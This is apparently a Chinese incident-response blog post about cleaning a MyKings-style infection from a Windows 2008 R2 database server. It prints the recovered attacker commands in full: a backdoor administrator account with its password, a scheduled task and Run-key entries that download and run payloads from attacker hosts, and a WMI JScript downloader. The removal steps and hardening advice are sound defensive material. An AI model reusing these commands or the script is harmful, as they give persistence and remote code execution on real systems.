【应急响应】Windows应急响应

网管同事反应Windows 2008 R2服务器上多了些exe文件,之前没怎么关注过Windows的监控。
这台主机提供了Mssql和Mysql服务,是台DB服务器,当时由于交换机没有口了,所以配置了公网IP,前端没有硬件防火墙,网管只是启用了本机的windows防火墙,过滤了3389等敏感端口,但是445端口对外开放了。

排查过程

检查Mysql,发现有两个版本,一个5.1,一个5.7,且运行权限为System,先排查下是不是通过MYSQL UDF搞的,检查mysql\lib\plugin目录没有发现异常文件
select * from mysql.func没有发现异常。
检查Mssql,运行权限为USER权限,检查了xp_cmdshell等存储过程没有发现异常。
查看系统账户,发现多了一个IUSR_Servs

服务器本身装了诺顿,报警的exe文件都被隔离了

隔离的文件如下

检测病毒文件的几个网站:

https://x.threatbook.cn/
http://www.virscan.org
https://www.virustotal.com/
https://fireeye.ijinshan.com/

上传上去检查结果如下:

http://www.virscan.org

https://x.threatbook.cn/

找到一个txt文件,内容如下:

[down]
http://47.88.216.68:8888/test.dat C:\windows\debug\item.dat 0
http://23.27.127.254:8888/close.bat C:\windows\debug\c.bat 0
[cmd]
新建用户IUSR_Servs并加入到管理员组
net1 user IUSR_Servs ZxcvBMN,.1987&net1 user IUSR_Servs ZxcvBMN,.1987 /ad&net1 localgroup administrators IUSR_Servs /ad&net1 start schedule

net1 user IISUSER_ACCOUNTXX /del&net1 user IUSR_ADMIN /del&net1 user snt0454 /del&taskkill /f /im Logo1_.exe&del c:\windows\Logo1_.exe&taskkill /f /im Update64.exe&del c:\windows\dell\Update64.exe
taskkill /f /im misiai.exe&del misiai.exe&del c:\windows\RichDllt.dll&net1 user asp.net /del&taskkill /f /im winhost.exe&del c:\windows\winhost.exe&del c:\windows\updat.exe
taskkill /f /im netcore.exe&del c:\windows\netcore.exe&taskkill /f /im ygwmgo.exe&del c:\windows\ygwmgo.exe&net1 user aspnet /del&net1 user LOCAL_USER /del&taskkill /f /im Isass.exe&del c:\windows\debug\Isass.exe
添加计划任务
schtasks /create /tn "Mysa" /tr "cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe" /ru "system" /sc onstart /F

添加开机启动项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "start" /d "regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "start1" /d "msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "rundll32" /d "cmd /c if exist c:\windows\debug\item.dat start rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa" /f

echo 123>>1.txt&start C:\windows\debug\c.bat&start rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
@Wmic Process Where "Name='winlogon.exe' And ExecutablePath='C:\Windows\system\winlogon.exe'" Call Terminate &del C:\Windows\system\winlogon.exe
然后运行taskschd.msc

然后运行taskschd.msc
删除了计划任务Mysa
运行regedit.exe
删除注册表中启动项中的异常内容
运行services.msc
检查注册服务,未发现异常内容
使用Process Explorer检查进程,发现rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa,Kill掉
使用procmon汉化版,观察进程的注册表的读取,文件的浏览,网络行为,进程行为。
查看诺顿日志发现每隔三个小时下载个文件保存到C:\windows\debug\item.dat

但是计划任务中并没有。然后重启了服务器,发现还是每三个小时就会下载这个文件。
检查网络连接netstat -ano | findstr ESTABLIST未发现异常连接。
每三个小时就会下载一次,那就看这个时间点会起什么异常进程,然后发现每三个小时就会启动C:\Windows\System32\wbem\scrcons.exe
想起来这是利用wmi插件来执行定时执行任务,之前碰到过浏览器首页修改后半个小时又自己变回来就是利用的这个,也是scrcons.exe进程会半小时出来一次。
网上给的方法是安装WMITool,但是这台服务器安装报错。
看到网上说使用Autoruns可以看到WMI脚本,果然发现了异常

脚本内容如下:

var toff=3000;
var url1 = "http://wmi.mykings.top:8888/kill.html";
http = new ActiveXObject("Msxml2.ServerXMLHTTP");
fso = new ActiveXObject("Scripting.FilesystemObject");
wsh = new ActiveXObject("WScript.Shell");
http.open("GET", url1, false);
http.send();
str = http.responseText;
arr = str.split("\r\n");
for (i = 0; i < arr.length; i++) {
   t = arr[i].split(" ");
   proc = t[0];
   path = t[1];
   dele = t[2];
   wsh.Run("taskkill /f /im " + proc, 0, true);
   if (dele == 0) {
      try { fso.DeleteFile(path, true); }
      catch (e) {}
   }
};
var locator=new ActiveXObject("WbemScripting.SWbemLocator");
var service=locator.ConnectServer(".","root/cimv2");
var colItems=service.ExecQuery("select * from Win32_Process");
var e=new Enumerator(colItems);
var t1=new Date().valueOf();
for(;!e.atEnd();e.moveNext()){
   var p=e.item();
   if(p.Caption=="rundll32.exe")p.Terminate()
};
var t2=0;
while(t2-t1<toff){
var t2=new Date().valueOf()
}
var pp=service.get("Win32_Process");
var url="http://wmi.mykings.top:8888/test.html",
http=new ActiveXObject("Microsoft.XMLHTTP"),
ado=new ActiveXObject("ADODB.Stream"),
wsh=new ActiveXObject("WScript.Shell");
for(http.open("GET",url,!1),
http.send(),
str=http.responseText,
arr=str.split("\r\n"),
i=0;arr.length>i;i++)t=arr[i].split(" ",3),
http.open("GET",t[0],!1),
http.send(),
ado.Type=1,
ado.Open(),
ado.Write(http.responseBody),
ado.SaveToFile(t[1],2),
ado.Close(),
1==t[2]&&wsh.Run(t[1]);
pp.create("regsvr32 /s shell32.dll");
pp.create("regsvr32 /s WSHom.Ocx");
pp.create("regsvr32 /s scrrun.dll");
pp.create("regsvr32 /s c:\\Progra~1\\Common~1\\System\\Ado\\Msado15.dll");
pp.create("regsvr32 /s jscript.dll");
pp.create("regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll");
pp.create("rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa");

http://wmi.mykings.top:8888/kill.html
内容如下:

ntvdm.exe C:\*.exe 0 mskns.exe c:\windows\mskns.exe 0 ntuhost.exe c:\windows\ntuhost.exe 0 dwnclear.exe c:\windows\dwnclear.exe 0 isass.exe c:\windows\debug\isass.exe 0 l.exe C:\Windows\zecc\lsm.exe 0 lgnzmq.exe c:\windows\lgnzmq.exe 0 asoaui.exe c:\windows\asoaui.exe 0 kxsjitc.exe C:\Windows\WindowsUpdate\kxsjitc.exe.exe 0 lmudoftzo.exe C:\Windows\WindowsUpdate\lmudoftzo.exe 0 nczkow.exe C:\Windows\WindowsUpdate\nczkow.exe 0 smssc.exe C:\Windows\WindowsUpdate\nczkow.exe 0 ShelReaKet.exe C:\Windows\ShelReaKet.exe 0

http://wmi.mykings.top:8888/test.html

内容如下:

http://47.88.216.68:8888/test.dat C:\windows\debug\item.dat 0

删除该脚本

推荐Windows下辅助查杀的几个工具:

Process Monitor
Process Explorer
Wsyscheck
PC Hunter
autoruns

改进方案

1)windows下的查杀相比Linux复杂一些,windows下还是必须要安装杀毒软件的。
2)将DB改为内网调用,去掉公网IP,将Mysql迁到Linux下并降权。

参考文章

http://www.jb51.net/hack/82851.html
http://jingyan.baidu.com/article/0964eca26f47b38285f536c6.html
http://bbs.kafan.cn/thread-2047183-1-1.html
http://bbs.kafan.cn/thread-2064286-1-1.html

 

 

 

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值